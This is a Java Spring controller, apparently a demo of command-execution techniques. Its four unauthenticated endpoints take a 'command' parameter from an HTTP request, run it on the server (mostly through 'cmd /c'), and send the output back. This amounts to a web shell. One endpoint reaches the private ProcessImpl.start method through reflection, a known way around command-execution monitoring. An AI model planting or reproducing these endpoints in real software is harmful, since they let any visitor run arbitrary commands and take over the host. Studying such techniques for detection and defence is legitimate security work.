1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package com.example.javawebexec; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.nio.charset.Charset; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; import java.nio.charset.Charset; import java.util.Map; import java.io.File; import java.io.IOException; import java.io.InputStreamReader; @Controller @ResponseBody public class ExecController { @RequestMapping("/execRuntimeString") public void execRuntimeString(String command, HttpServletResponse response) throws IOException { String line = null; Process process = Runtime.getRuntime().exec(command); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("GBK"))); PrintWriter out = response.getWriter(); while ((line = bufferedReader.readLine()) != null) { System.out.println(line); out.print(line); } bufferedReader.close(); } @RequestMapping("/execRuntimeArray") public void execRuntimeArray(String command, HttpServletResponse response) throws IOException { String line = null; String[] commandarray ={"cmd","/c",command}; Process process = Runtime.getRuntime().exec(commandarray); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("GBK"))); PrintWriter out = response.getWriter(); while ((line = bufferedReader.readLine()) != null) { System.out.println(line); out.print(line); } bufferedReader.close(); } @RequestMapping("/execProcess") public static void execProcess(String command, HttpServletResponse response) throws Exception{ String line = null; String[] cmds = new String[]{"cmd","/c",command}; Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); Process process = (Process) method.invoke(null, cmds, null, ".", null, true); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("GBK"))); PrintWriter out = response.getWriter(); while ((line = bufferedReader.readLine()) != null) { System.out.println(line); out.print(line); } bufferedReader.close(); } @RequestMapping("/execBuilder") public static void execBuilder(String command, HttpServletResponse response) throws Exception{ String line = null; String[] cmds = new String[]{"cmd","/c",command}; ProcessBuilder pb = new ProcessBuilder(cmds); Process process = pb.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); PrintWriter out = response.getWriter(); while ((line = reader.readLine()) != null) { System.out.println(line); out.print(line); } reader.close(); }
}
|